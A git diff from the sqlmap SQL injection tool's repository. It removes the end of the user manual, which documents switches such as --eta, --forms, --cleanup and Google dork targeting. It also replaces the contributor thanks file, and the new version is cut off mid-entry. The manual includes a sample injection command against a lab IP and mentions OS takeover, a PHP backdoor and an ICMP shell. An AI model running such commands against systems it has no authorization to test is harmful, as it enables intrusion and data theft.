-[Target URL][Injection point][Parameters][Query or information name][Query output or value] -</verb></tscreen> - -<p> -A more user friendly textual file where all data retrieved is saved, is -the <em>log file</em>, <tt>output/TARGET_URL/log</tt>. This file can be -useful to see all information enumerated to the end. - - -<sect2>Flush session file - -<p> -Switch: <tt>-</tt><tt>-flush-session</tt> - -<p> -As you are already familiar with the concept of a session file from the -description above, it is good to know that you can flush the content of -that file using option <tt>-</tt><tt>-flush-session</tt>. -This way you can avoid the caching mechanisms implemented by default in -sqlmap. Other possible way is to manually remove the session file(s). - - -<sect2>Ignores query results stored in session file - -<p> -Switch: <tt>-</tt><tt>-fresh-queries</tt> - -<p> -As you are already familiar with the concept of a session file from the -description above, it is good to know that you can ignore the content of -that file using option <tt>-</tt><tt>-fresh-queries</tt>. -This way you can keep the session file untouched and for a selected run, -avoid the resuming/restoring of queries output. - - -<sect2>Estimated time of arrival - -<p> -Switch: <tt>-</tt><tt>-eta</tt> - -<p> -It is possible to calculate and show in real time the estimated time of -arrival to retrieve each query output. This is shown when the technique -used to retrieve the output is any of the blind SQL injection types. - -<p> -Example against an Oracle target affected only by boolean-based blind SQL -injection: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta - -[...] -[hh:mm:01] [INFO] the back-end DBMS is Oracle -[hh:mm:01] [INFO] fetching banner -[hh:mm:01] [INFO] retrieving the length of query output -[hh:mm:01] [INFO] retrieved: 64 -17% [========> ] 11/64 ETA 00:19 -</verb></tscreen> - -<p> -Then: - -<tscreen><verb> -100% [===================================================] 64/64 -[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod - -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: Oracle -banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod' -</verb></tscreen> - -<p> -As you can see, sqlmap first calculates the length of the query output, -then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved output characters. - - -<sect2>Update sqlmap - -<p> -Switch: <tt>-</tt><tt>-update</tt> - -<p> -Using this option you can update the tool to the latest development -version directly from the subversion repository. You obviously need -Internet access. - -<p> -If, for any reason, this operation fails, run <tt>git pull</tt> from -your sqlmap working copy. It will perform the exact same operation of -switch <tt>-</tt><tt>-update</tt>. -If you are running sqlmap on Windows, you can use the <htmlurl name="SmartGit" -url="http://www.syntevo.com/smartgit/index.html"> client. - -<p> -This is strongly recommended <bf>before</bf> reporting any bug to the -<htmlurl name="mailing lists" url="http://www.sqlmap.org/#ml">. - - -<sect2>Save options in a configuration INI file - -<p> -Switch: <tt>-</tt><tt>-save</tt> - -<p> -It is possible to save the command line options to a configuration INI -file. -The generated file can then be edited and passed to sqlmap with the -<tt>-c</tt> option as explained above. - - -<sect2>Act in non-interactive mode - -<p> -Switch: <tt>-</tt><tt>-batch</tt> - -<p> -If you want sqlmap to run as a batch tool, without any user's interaction -when sqlmap requires it, you can force that by using -<tt>-</tt><tt>-batch</tt> switch. This will leave sqlmap to go with a -default behaviour whenever user's input would be required. - - -<sect1>Miscellaneous - -<sect2>Alert when a SQL injection is detected - -<p> -Switch: <tt>-</tt><tt>-beep</tt> - -<p> -When this switch is provided, sqlmap will beep at every new SQL injection -that it finds. It can be useful when you are processing in batch mode a -Google dork output or a proxy log file so that you do not need to monitor -the terminal constantly. - - -<sect2>IDS detection testing of injection payloads - -<p> -Switch: <tt>-</tt><tt>-check-payload</tt> - -<p> -Curious to see if a <htmlurl url="http://www.phpids.org" -name="decent intrusion detection system"> (IDS) picks up sqlmap payloads? -Use this switch! - - -<sect2>Cleanup the DBMS from sqlmap specific UDF(s) and table(s) - -<p> -Switch: <tt>-</tt><tt>-cleanup</tt> - -<p> -It is recommended to clean up the back-end database management system from -sqlmap temporary table(s) and created user-defined function(s) when you -are done taking over the underlying operating system or file system. -Switch <tt>-</tt><tt>-cleanup</tt> will attempt to clean up the DBMS and -the file system wherever possible. - - -<sect2>Parse and test forms' input fields - -<p> -Switch: <tt>-</tt><tt>-forms</tt> - -<p> -Say that you want to test against SQL injections a huge <em>search form</em> -or you want to test a login bypass (typically only two input fields named -like <em>username</em> and <em>password</em>), you can either pass to sqlmap -the request in a request file (<tt>-r</tt>), set the POSTed data -accordingly (<tt>-</tt><tt>-data</tt>) or let sqlmap do it for you! - -<p> -Both of the above mentioned instances, and many others, appear as -<tt><form></tt> and <tt><input></tt> tags in HTML response -bodies and this is where this switch comes into play. - -<p> -Provide sqlmap with <tt>-</tt><tt>-forms</tt> as well as the page where -the form can be found as the target url (<tt>-u</tt>) and sqlmap will -request the target url for you, parse the forms it has and guide you -through to test for SQL injection on those form input fields (parameters) -rather than the target url provided. - - -<sect2>Use Google dork results from specified page number - -<p> -Switch: <tt>-</tt><tt>-gpage</tt> - -<p> -Default sqlmap behavior with option <tt>-g</tt> is to do a Google -search and use the first 100 resulting URLs for further SQL injection -testing. However, in combination with this option you can specify with -this switch, <tt>-</tt><tt>-gpage</tt>, some page other than the first one -to retrieve target URLs from. - - -<sect2>Imitate smartphone - -<p> -Switch: <tt>-</tt><tt>-mobile</tt> - -<p> -TODO - - -<sect2>Display page rank (PR) for Google dork results - -<p> -Switch: <tt>-</tt><tt>-page-rank</tt> - -<p> -Performs further requests to Google when <tt>-g</tt> is provided and -display page rank (PR) for Google dork results. - - -<sect2>Parse DBMS error messages from response pages - -<p> -Switch: <tt>-</tt><tt>-parse-errors</tt> - -<p> -If the web application is configured in debug mode so that it displays -in the HTTP responses the back-end database management system error -messages, sqlmap can parse and display them for you. - -This is useful for debugging purposes like understanding why a certain -enumeration or takeover switch does not work - it might be a matter of -session user's privileges and in this case you would see a DBMS error -message along the lines of <tt>Access denied for user <SESSION -USER></tt>. - - -<sect2>Replicate dumped data into a sqlite3 database - -<p> -Switch: <tt>-</tt><tt>-replicate</tt> - -<p> -If you want to store in a local SQLite 3 database file each dumped table -(<tt>-</tt><tt>-dump</tt> or <tt>-</tt><tt>-dump-all</tt>), you can -provide sqlmap with the <tt>-</tt><tt>-replicate</tt> switch at dump -phase. This will create a <tt><TABLE_NAME>.sqlite3</tt> rather than -a <tt><DB_NAME>/<TABLE_NAME>.csv</tt> file into -<tt>output/TARGET_URL/dump/</tt> directory. - -<p> -You can then use sqlmap itself to read and query the locally created -SQLite 3 file. For instance, <tt>python sqlmap.py -d -sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table</tt>. - - -<sect2>Simple wizard interface for beginner users - -<p> -Switch: <tt>-</tt><tt>-wizard</tt> - -<p> -Do you really want to know? - - -<sect>License and copyright - -<p> -sqlmap is released under the terms of the -<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">. -sqlmap is copyrighted by its <htmlurl url="http://www.sqlmap.org/#developers" name="developers">. - - -<sect>Disclaimer - -<p> -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -<p> -Whatever you do with this tool is uniquely your responsibility. If you are -not authorized to punch holes in the network you are attacking be aware -that such action might get you in trouble with a lot of law enforcement -agencies. - - -<sect>Authors - -<p> -<htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G."> (inquis) - -<htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar"> (stamparm) - -</article> diff --git a/doc/THANKS b/doc/THANKS deleted file mode 100644 index 1a4b7fa720c..00000000000 --- a/doc/THANKS +++ /dev/null @@ -1,779 +0,0 @@ -== Individuals == - -Andres Tarasco Acuna <atarasco@gmail.com> - for suggesting a feature - -Santiago Accurso <saccurso@skygear.com.ar> - for reporting a bug - -Olu Akindeinde <seyi.akin@gmail.com> - for reporting a couple of bugs - -David Alvarez <david.alvarez.s@gmail.com> - for reporting a bug - -Sergio Alves <sergioalexandre.alves@gmail.com> - for reporting a bug - -Thomas Anderson <darkc0de@live.com.ph> - for reporting a bug - -Chip Andrews <chip@sqlsecurity.com> - for his excellent work maintaining the SQL Server versions database - at SQLSecurity.com and permission to implement the update feature - taking data from his site - -Smith Andy <teh.one@hotmail.com> - for suggesting a feature - -Otavio Augusto <otavioarj@gmail.com> - for reporting a minor bug - -Simon Baker <simonb@sec-1.com> - for reporting some bugs - -Ryan Barnett <RBarnett@trustwave.com> - for organizing the ModSecurity SQL injection challenge, - http://modsecurity.org/demo/challenge.html - -Emiliano Bazaes <emiliano@7espejos.com> - for reporting a minor bug - -Daniele Bellucci <daniele.bellucci@gmail.com> - for starting sqlmap project and developing it between July and August - 2006 - -Sebastian Bittig <s.bittig@r-tec.net> and the rest of the team at -r-tec IT Systeme GmbH - for contributing the DB2 support initial patch: fingerprint and - enumeration - -Anthony Boynes <aboynes@gmail.com> - for reporting several bugs - -Velky Brat <velkybrat@gmail.com> - for suggesting a minor enhancement to the bisection algorithm - -James Briggs <james.briggs@ngssecure.com> - for suggesting a minor enhancement - -Gianluca Brindisi <g@brindi.si> - for reporting a couple of bugs - -Jack Butler <fattredd@hotmail.com> - for contributing the sqlmap site favicon - -Ulisses Castro <uss.thebug@gmail.com> - for reporting a bug - -Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com> - for reporting a minor bug - -Cesar Cerrudo <cesar@argeniss.com> - for his Windows access token kidnapping tool Churrasco included in - sqlmap tree as a contrib library and used to run the stand-alone - payload stager on the target Windows machine as SYSTEM user if the - user wants to perform a privilege escalation attack, - http://www.argeniss.com/research/TokenKidnapping.pdf - -Karl Chen <quarl@cs.berkeley.edu> - for contributing the initial multi-threading patch for the inference - algorithm - -Y P Chien <ypchien@cox.net> - for reporting a minor bug - -Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org> - for uploading and accepting the sqlmap Debian package to the official - Debian project repository - -Chris Clements <cclements@flatearth.net> - for reporting a couple of bugs - -John Cobb <johnc@nobytes.com> - for reporting a minor bug - -Andreas Constantinides <megahz@megahz.org> - for reporting a minor bug - -Andre Costa <andre.investorsclub@gmail.com> - for reporting a minor bug - for suggesting a minor enhancement - -Ulises U. Cune <ulises2k@gmail.com> - for reporting a bug - -Alessandro Curio <alessandro.curio@gmail.com> - for reporting a minor bug - -Alessio Dalla Piazza <alessio.dallapiazza@gmail.com> - for reporting a couple of bugs - -Sherif El-Deeb <archeldeeb@gmail.com> - for reporting a minor bug - -Stefano Di Paola <stefano.dipaola@wisec.it> - for suggesting good features - -Mosk Dmitri <ya@darkbyte.ru> - for reporting a minor bug - -Carey Evans <careye@spamcop.net> - for his fcrypt module that allows crypt(3) support - on Windows platforms - -Adam Faheem <faheem.adam@is.co.za> - for reporting a few bugs - -James Fisher <www@sittinglittleduck.com> - for contributing two very good feature requests - for his great tool too brute force directories and files names on - web/application servers, DirBuster, http://tinyurl.com/dirbuster - -Jim Forster <jimforster@goldenwest.com> - for reporting a bug - -Rong-En Fan <rafan@freebsd.org> - for commiting the sqlmap 0.5 port to the official FreeBSD project - repository - -Giorgio Fedon <giorgio.fedon@gmail.com> - for suggesting a speed improvement for bisection algorithm - for reporting a bug when running against Microsoft SQL Server 2005 - -Kasper Fons <thefeds@mail.dk> - for reporting several bugs - -Jose Fonseca <jose.r.fonseca@gmail.com> - for his Gprof2Dot utility for converting profiler output to dot - graph(s) and for his XDot utility to render nicely dot graph(s), - both included in sqlmap tree inside extra folder. These libraries - are used for sqlmap development purposes only - http://code.google.com/p/jrfonseca/wiki/Gprof2Dot - http://code.google.com/p/jrfonseca/wiki/XDot - -Alan Franzoni <alan.franzoni@gmail.com> - for helping me out with Python subprocess library - -Harold Fry <harold@violaceo.us> - for suggesting a minor enhancement - -Daniel G. Gamonal <lgrecol@gmail.com> - for reporting a minor bug - -Marcos Mateos Garcia <mmateos@germinus.com> - for reporting a minor bug - -Andrew Gecse <andrew.gecse@upcmail.hu> - for reporting a minor issue - -Ivan Giacomelli <truemilk@insiberia.net> - for reporting a bug - for suggesting a minor enhancement - for reviewing the documentation - -Nico Golde <nico@ngolde.de> - for reporting a couple of bugs - -Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com> - for reporting a bug - for contributing a minor patch - -Davide Guerri <d.guerri@caspur.it> - for suggesting an enhancement - -Dan Guido <dguido@gmail.com> - for promoting sqlmap in the context of the Penetration Testing and - Vulnerability Analysis class at the Polytechnic University of New York, - http://isisblogs.poly.edu/courses/pentest/ - -David Guimaraes <skysbsb@gmail.com> - for reporting considerable amount of bugs - for suggesting several features - -Chris Hall <chris.hall@mod10.net> - for coding the prettyprint.py library - -Tate Hansen <tate@clearnetsec.com> - for donating to sqlmap development - -Mario Heiderich <mario.heiderich@gmail.com> -Christian Matthies <ch0012@gmail.com> -Lars H. Strojny <lars@strojny.net> - for their great tool PHPIDS included in sqlmap tree as - a set of rules for testing payloads against IDS detection, - http://php-ids.org - -Kristian Erik Hermansen <kristian.hermansen@gmail.com> - for reporting a bug - for donating to sqlmap development - -Alexander Hagenah <ah@primepage.de> - for reporting a minor bug - -Dennis Hecken <mail@8dh.de> - for reporting a minor bug - -Choi Ho <counterhacker815@gmail.com> - for reporting a minor bug - -Jorge Hoya <aquinadie@gmail.com> - for suggesting a minor enhancement - -Will Holcomb <wholcomb@gmail.com> - for his MultipartPostHandler class to handle multipart POST forms and - permission to include it within sqlmap source code - -Daniel Huckmann <sanitybit@gmail.com> - for reporting a couple of bugs - -Daliev Ilya <daliser@yandex.ru> - for reporting a bug - -Jovon Itwaru <jovon.itwaru@gmail.com> - for reporting a minor bug - -Prashant Jadhav <prashantjadhav.82@gmail.com> - for reporting a bug - -Dirk Jagdmann <doj@cubic.org> - for reporting a typo in the documentation - -Luke Jahnke <luke.jahnke@gmail.com> - for reporting a bug when running against MySQL < 5.0 - -David Klein <david.klein@ipfocus.com.au> - for reporting a minor code improvement - -Sven Klemm <sven@c3d2.de> - for reporting two minor bugs with PostgreSQL - -Anant Kochhar <anant.kochhar@secureyes.net> - for providing with feedback on the user's manual - -Dmitriy Kononov <dmitriyknnv@gmail.com> - for reporting a minor bug - -Alexander Kornbrust <ak@red-database-security.com> - for reporting a couple of bugs - -Krzysztof Kotowicz <kkotowicz@gmail.com> - for reporting a minor bug - -Nicolas Krassas <krasn@deventum.com> - for reporting a couple of bugs - -Oliver Kuckertz <oliver.kuckertz@mologie.de> - for contributing a minor patch - -Alex Landa <landa.alex86@gmail.com> - for contributing a patch adding beta support for XML output - -Guido Landi <lists@keamera.org> - for reporting a couple of bugs - for the great technical discussions - for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 - 'sp_replwritetovarbin' stored procedure heap-based buffer overflow - (MS09-004) exploit development - for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) - on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on - November 20, 2009 - -Lee Lawson <Lee.Lawson@dns.co.uk> - for reporting a minor bug - -John J. Lee <jjl@pobox.com> & others - for developing the clientform Python library used by sqlmap to parse - forms when --forms switch is specified - -Nico Leidecker <nico@leidecker.info> - for providing with feedback on a few features - for reporting a couple of bugs - for his great tool icmpsh included in sqlmap tree to get a command - prompt via an out-of-band tunnel over ICMP, - http://leidecker.info/downloads/icmpsh.zip - -Gabriel Lima <pato@bugnet.com.br> - for reporting a couple of bugs - -Svyatoslav Lisin <sel@3d-tech.ru> - for suggesting a minor feature - -Miguel Lopes <theoverblue@gmail.com> - for reporting a minor bug - -Truong Duc Luong <luongductruong@gmail.com> - for reporting a minor bug - -Pavol Luptak <pavol.luptak@nethemba.com> - for reporting a bug when injecting on a POST data parameter - -Till Maas <opensource@till.name> - for suggesting a minor feature - -Michael Majchrowicz <mmajchrowicz@gmail.com> - for extensively beta-testing sqlmap on various MySQL DBMS - for providing really appreciated feedback - for suggesting a lot of ideas and features - -Ahmad Maulana <matdhule@gmail.com> - for contributing one tamper scripts, halfversionedmorekeywords.py - -Ferruh Mavituna <ferruh@mavituna.com> - for sharing ideas on the implementation of a couple of features - -David McNab <david@conscious.co.nz> - for his XMLObject module that allows XML files to be operated on - like Python objects - -Spencer J. McIntyre <smcintyre@securestate.com> - for reporting a minor bug - for contributing a patch for OS fingerprinting on DB2 - -Brad Merrell <bradmer12@gmail.com> - for reporting a minor bug - -Michael Meyer <m.meyer2k@gmail.com> - for suggesting a minor feature - -Enrico Milanese <enricomilanese@gmail.com> - for reporting a minor bug - for sharing some ideas for the PHP backdoor - -Liran Mimoni <reactor.leet@gmail.com> - for reporting a minor bug - -Marco Mirandola <mmmccc0@gmail.com> - for reporting a minor bug - -Devon Mitchell <devon.mitchell1988@yahoo.com> - for reporting a minor bug - -Anton Mogilin <azarmaster81@yahoo.com> - for reporting a few bugs - -Anastasios Monachos <anastasiosm@gmail.com> - for providing some useful data - for suggesting a feature - for reporting a couple of bugs - -Kirill Morozov <l0rda@l0rda.biz> - for reporting a bug - for suggesting a feature - -Alejo Murillo Moya <alex@65535.com> - for reporting a minor bug - for suggesting a few features - -Yonny Mutai <yonnym@googlemail.com> - for reporting a minor bug - -Roberto Nemirovsky <roberto.paes@gmail.com> - for pointing me out some enhancements - -Simone Onofri <simone.onofri@gmail.com> - for patching the PHP web backdoor to make it work properly also on - Windows - -Michele Orru <michele.orru@antisnatchor.com> - for reporting a minor bug - -Shaohua Pan <pan@knownsec.com> - for reporting several bugs - for suggesting a few features - -Antonio Parata <s4tan@ictsc.it> - for sharing some ideas for the PHP backdoor - -Adrian Pastor <ap@gnucitizen.org> - for donating to sqlmap development - -Christopher Patten <cpatten@sunera.com> - for reporting a bug in the blind SQL injection bisection algorithm - -Zack Payton <zack.payton@executiveinstruments.com> - for reporting a minor bug - -Jaime Penalba <nighterman@painsec.com> - for contributing a patch for INSERT/UPDATE generic boundaries - -Pedrito Perez <0ark1ang3l@gmail.com> - for reporting a bug - -Brandon Perry <bperry.volatile@gmail.com> - for reporting a couple of bugs - -Travis Phillips <perfect_insanity2004@yahoo.com> - for suggesting a minor enhancement - -Mark Pilgrim <mark@diveintomark.org> - for porting chardet package (Universal Encoding Detector) to Python - -Steve Pinkham <steve.pinkham@gmail.com> - for suggesting a feature - for contributing a new SQL injection vector (MSSQL time-based blind) - for donating to sqlmap development - -Adam Pridgen <adam.pridgen@gmail.com> - for suggesting some features - -Ole Rasmussen <olerass@gmail.com> - for reporting a bug - for suggesting a feature - -Alberto Revelli <r00t@northernfortress.net> - for inspiring me to write sqlmap user's manual in SGML - for his great Microsoft SQL Server take over tool, sqlninja, - http://sqlninja.sourceforge.net - -David Rhoades <david.rhoades@mavensecurity.com> - for reporting a bug - -Andres Riancho <andres.riancho@gmail.com> - for beta-testing sqlmap - for reporting a bug and suggesting some features - for including sqlmap in his great web application audit and attack - framework, w3af, http://w3af.sourceforge.net - for suggesting a way for handling DNS caching - -Jamie Riden <jamie.riden@ngssecure.com> - for reporting a minor bug - -Alexander Rigbo <alex@rigbo.se> - for contributing a minor patch - -Antonio Riva <antonio.riva@gmail.com> - for reporting a bug when running with python 2.5 - -Ethan Robish <ethan.robish@gmail.com> - for reporting a bug - -Levente Rog <levidos@gmail.com> - for reporting a minor bug - -Andrea Rossi <andyroyalbattle@yahoo.it> - for reporting a minor bug - for suggesting a feature - -Frederic Roy <frederic.roy@telindus.fr> - for reporting a couple of bugs - -Vladimir Rutsky <rutsky.vladimir@gmail.com> - for suggesting a couple of minor enhancements - -Richard Safran <allapplyhere@yahoo.com> - for donating the sqlmap.org domain - -Tomoyuki Sakurai <cherry@trombik.org> - for submitting to the FreeBSD project the sqlmap 0.5 port - -Roberto Salgado <lightos@gmail.com> - for contributing considerable amount of tamper scripts - -Pedro Jacques Santos Santiago <pedro__jacques@hotmail.com> - for reporting considerable amount of bugs - -Marek Sarvas <marek.sarvas@gmail.com> - for reporting several bugs - -Philippe A. R. Schaeffer <schaeff@compuphil.de> - for reporting a minor bug - -Mohd Zamiri Sanin <zamiri.sanin@gmail.com> - for reporting a minor bug - -Jorge Santos <jorge_a_santos@hotmail.com> - for reporting a minor bug - -Sven Schluter <sschlueter@netzwerk.cc> - for contributing a patch for waiting a number of seconds between - each HTTP request - -Ryan Sears <rdsears@mtu.edu> - for suggesting a couple of enhancements - for donating to sqlmap development - -Uemit Seren <uemit.seren@gmail.com> - for reporting a minor adjustment when running with python 2.6 - -Shane Sewell <ssewell@gmail.com> - for suggesting a feature - -Ahmed Shawky <ahmed@isecur1ty.org> - for reporting a major bug with improper handling of parameter values - for reporting a bug - -Brian Shura <bshura@appsecconsulting.com> - for reporting a bug - -Sumit Siddharth <sid@notsosecure.com> - for sharing ideas on the implementation of a couple of features - -Andre Silva <andreoaz@gmail.com> - for reporting a bug - -M Simkin <mlsimkin@cox.net> - for suggesting a feature - -Konrads Smelkovs <konrads@smelkovs.com> - for reporting a few bugs in --sql-shell and --sql-query on Microsoft - SQL Server - -Chris Spencer <chris.spencer@ngssecure.com> - for reviewing the user's manual grammar - -Michael D. Stenner <mstenner@linux.duke.edu> - for his keepalive module that allows handling of persistent - HTTP 1.1 keep-alive connections - -Marek Stiefenhofer <m.stiefenhofer@r-tec.net> - for reporting a few bugs - -Jason Swan <jasoneswan@gmail.com> - for reporting a bug when enumerating columns on Microsoft SQL Server - for suggesting a couple of improvements - -Chilik Tamir <phenoman@gmail.com> - for contributing a patch for initial support SOAP requests - -Alessandro Tanasi <alessandro@tanasi.it> - for extensively beta-testing sqlmap - for suggesting many features and reporting some bugs - for reviewing the documentation - -Andres Tarasco <atarasco@gmail.com> - for contributing good feedback - -Tom Thumb <k1971@live.co.uk> - for reporting a major bug - -Kazim Bugra Tombul <mhackmail@gmail.com> - for reporting a minor bug - -Efrain Torres <et@metasploit.com> - for helping me out to improve the Metasploit Framework sqlmap - auxiliary module and for commiting it on the Metasploit official - subversion repository - for his great Metasploit WMAP Framework - -Sandro Tosi <matrixhasu@gmail.com> - for helping to create sqlmap Debian package correctly - -Jacco van Tuijl <jaccovantuijl@gmail.com> - for reporting several bugs - -Vitaly Turenko <dsu@dsu.com.ua> - for reporting a bug - -Augusto Urbieta <x2xpy50@gmail.com> - for reporting a minor bug - -Bedirhan Urgun <bedirhanurgun@gmail.com> - for reporting a few bugs - for suggesting some features and improvements - for benchmarking sqlmap in the context of his SQL injection - benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench - -Kyprianos Vasilopoulos <kyprianos.vasilopoulos@gmail.com> - for reporting a couple of minor bugs - -Johnny Venter <johnny.venter@zoho.com> - for reporting a couple of bugs - -Carlos Gabriel Vergara <carlosgabrielvergara@gmail.com> - for suggesting couple of good features - -Patrick Webster <patrick@aushack.com> - for suggesting an enhancement - -Ed Williams <ed.williams@ngssecure.com> - for suggesting a minor enhancement - -Anthony Zboralski <anthony.zboralski@bellua.com> - for providing with detailed feedback - for reporting a few minor bugs - for donating to sqlmap development - -Thierry Zoller <thierry@zoller.lu> - for reporting a couple of major bugs - -Zhen Zhou <zhouzhenster@gmail.com> - for suggesting a feature - --insane- <insane_@gmx.de> - for reporting a minor bug - -1ndr4 joe <c0d3w4st3r@gmail.com> - for reporting a couple of bugs - -abc abc <biedimc@gmx.net> - for reporting a minor bug - -Abuse 007 <abuse007@gmail.com> - for reporting a bug - -Alex m3zero@gmail.com - for reporting a minor bug - -anonymous anonymous <tmp@2ch.so> - for reporting a couple of bugs - -Brandon E. <brandonpoc@gmail.com> - for reporting a bug - -black zero <timeisflowing@gmail.com> - for reporting a minor bug - -blueBoy <blueboy4444@gmail.com> - for reporting a bug - -buawig <buawig@gmail.com> - for reporting considerable amount of bugs - -Bugtrace <bugtrace@gmail.com> - for reporting several bugs - -cats <dump@alcor.se> - for reporting a couple of bugs - -Christian S. <christian_s@linuxmail.org> - for reporting a minor bug - -clav <elclav@gmail.com> - for reporting a minor bug - -dragoun dash <dragoun.dash@gmail.com> - for reporting a minor bug - -fufuh <fufuh@users.sourceforge.net> - for reporting a bug when running on Windows - -Hans Wurst <wurstwass0r@googlemail.com> - for reporting a couple of bugs - -james <james@ev6.net> - for reporting a bug - -Joe "Pragmatk" <pragmatk@gmail.com> - for reporting a few bugs - -John Smith <tixos@live.com> - for reporting several bugs - for suggesting some features - -m4l1c3 <malice.anon@gmail.com> - for reporting considerable amount of bugs - -mariano <marianoso@gmail.com> - for reporting a bug - -mitchell <mitchell@tufala.net> - for reporting a few bugs - -Nadzree <nadzree@bake180.com> - for reporting a minor bug - -nightman <nightman@email.de> - for reporting considerable amount of bugs - -Oso Dog osodog123@yahoo.com - for reporting a minor bug - -pacman730 <pacman730@users.sourceforge.net> - for reporting a bug - -pentestmonkey <pentestmonkey@pentestmonkey.net> - for reporting several bugs - for suggesting a few minor enhancements - -Phat R. <phatthanaphol@gmail.com> - for reporting a few bugs - -Phil P <@superevr> - for suggesting a minor enhancement - -ragos <ragos@joker.ms> - for reporting a minor bug - -rmillet <rmillet42@gmail.com> - for reporting a bug - -shiftzwei <shiftzwei@gmail.com> - for reporting a couple of bugs - -smith <esmyl911@gmail.com> - for reporting a minor bug - -Soma Cruz <oleg.kupreev@gmail.com> - for reporting a minor bug - -Stuffe <stuffe.dk@gmail.com> - for reporting a minor bug and a feature request - -Sylphid <sylphid.su@sti.com.tw> - for suggesting some features - -syssecurity.info <syssecurity7@googlemail.com> - for reporting a minor bug - -This LittlePiggy <thislittlepiggyhadroastbeef@hotmail.com> - for reporting a minor bug - -ToR <sstidus@email.it> - for reporting considerable amount of bugs - for suggesting a feature - -ultramegaman <seclists@ultramegaman.com> - for reporting a minor bug - -Vinicius <viniciusmaxdaloop@gmail.com> - for reporting a minor bug - -wanglei <wanglei@17uxi.cn> - for reporting a minor bug - -warninggp <warninggp@gmail.com> - for reporting a few minor bugs - -x <deep_freeze@mail.ru> - for reporting a bug - -== Organizations == - -Black Hat team <info@blackhat.com> - for the opportunity to present my research titled 'Advanced SQL injection - to operating system full control' at Black Hat Europe 2009 Briefings - on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some - of the sqlmap 0.7 release candidate version new features during my - presentation - Homepage: http://goo.gl/BKfs7 - Slides: http://goo.gl/Dh65t - White paper: http://goo.gl/spX3N - -SOURCE Conference team <press@sourceconference.com> - for the opportunity to present my research titled 'Expanding the control - over the operating system from the database' at SOURCE Conference 2009 - on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated - some of the sqlmap 0.8 release candidate version new features during - my presentation - Homepage: http://goo.gl/IeXV4 - Slides: http://goo.gl/OKnfj - -AthCon Conference team <cfp@athcon.org> - for the opportunity to present my research titled 'Got database - access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in - Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 - version features during my presentation - Homepage: http://goo.gl/Fs71I - Slides: http://goo.gl/QMfjO - -Metasploit Framework development team <msfdev@metasploit.com> - for their powerful tool Metasploit Framework, used by sqlmap, among - others things, to create the shellcode and establish an out-of-band - connection between sqlmap and the database server - Homepage: http://www.metasploit.com - -OWASP Board <info@owasp.org> - for sponsoring part of the sqlmap development in the context of OWASP - Spring of Code 2007 - Homepage: http://www.owasp.org diff --git a/doc/THANKS.md b/doc/THANKS.md new file mode 100644 index 00000000000..62d4ba136cf --- /dev/null +++ b/doc/THANKS.md @@ -0,0 +1,819 @@ +# Individuals + +Andres Tarasco Acuna, <atarasco(at)gmail.com> +* for suggesting a feature + +Santiago Accurso, <saccurso(at)skygear.com.ar> +* for reporting a bug + +Syed Afzal, <syed(at)syedafzal.in> +* for contributing a WAF script varnish.py + +Zaki Akhmad, <zakiakhmad(at)gmail.com> +* for suggesting a couple of features + +Olu Akindeinde, <seyi.akin(at)gmail.com> +* for reporting a couple of bugs + +David Alvarez, <david.alvarez.s(at)gmail.com> +* for reporting a bug + +Sergio Alves, <sergioalexandre.alves(at)gmail.com> +* for reporting a bug + +Thomas Anderson, <darkc0de(at)live.com.ph> +* for reporting a bug + +Chip Andrews, <chip(at)sqlsecurity.com> +* for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site + +Smith Andy, <teh.one(at)hotmail.com> +* for suggesting a feature + +Otavio Augusto, <otavioarj(at)gmail.com> +* for reporting a minor bug + +Simon Baker, <simonb(at)sec-1.com> +* for reporting some bugs + +Ryan Barnett, <RBarnett(at)trustwave.com> +* for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html + +Emiliano Bazaes, <emiliano(at)7espejos.com> +* for reporting a minor bug + +Daniele Bellucci, <daniele.bellucci(at)gmail.com> +* for starting sqlmap project and developing it between July and August 2006 + +Sebastian Bittig, <s.bittig(at)r-tec.net> and the rest of the team at r-tec IT Systeme GmbH +* for contributing the DB2 support initial patch: fingerprint and enumeration + +Anthony Boynes, <aboynes(at)gmail.com> +* for reporting several bugs + +Marcelo Toscani Brandao +* for reporting a bug + +Velky Brat, <velkybrat(at)gmail.com> +* for suggesting a minor enhancement to the bisection algorithm + +James Briggs, <james.briggs(at)ngssecure.com> +* for suggesting a minor enhancement + +Gianluca Brindisi, <g(at)brindi.si> +* for reporting a couple of bugs + +Jack Butler, <fattredd(at)hotmail.com> +* for contributing the sqlmap site favicon + +Ulisses Castro, <uss.thebug(at)gmail.com> +* for reporting a bug + +Roberto Castrogiovanni, <castrogiovanni.roberto(at)gmail.com> +* for reporting a minor bug + +Cesar Cerrudo, <cesar(at)argeniss.com> +* for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf + +Karl Chen, <quarl(at)cs.berkeley.edu> +* for contributing the initial multi-threading patch for the inference algorithm + +Y P Chien, <ypchien(at)cox.net> +* for reporting 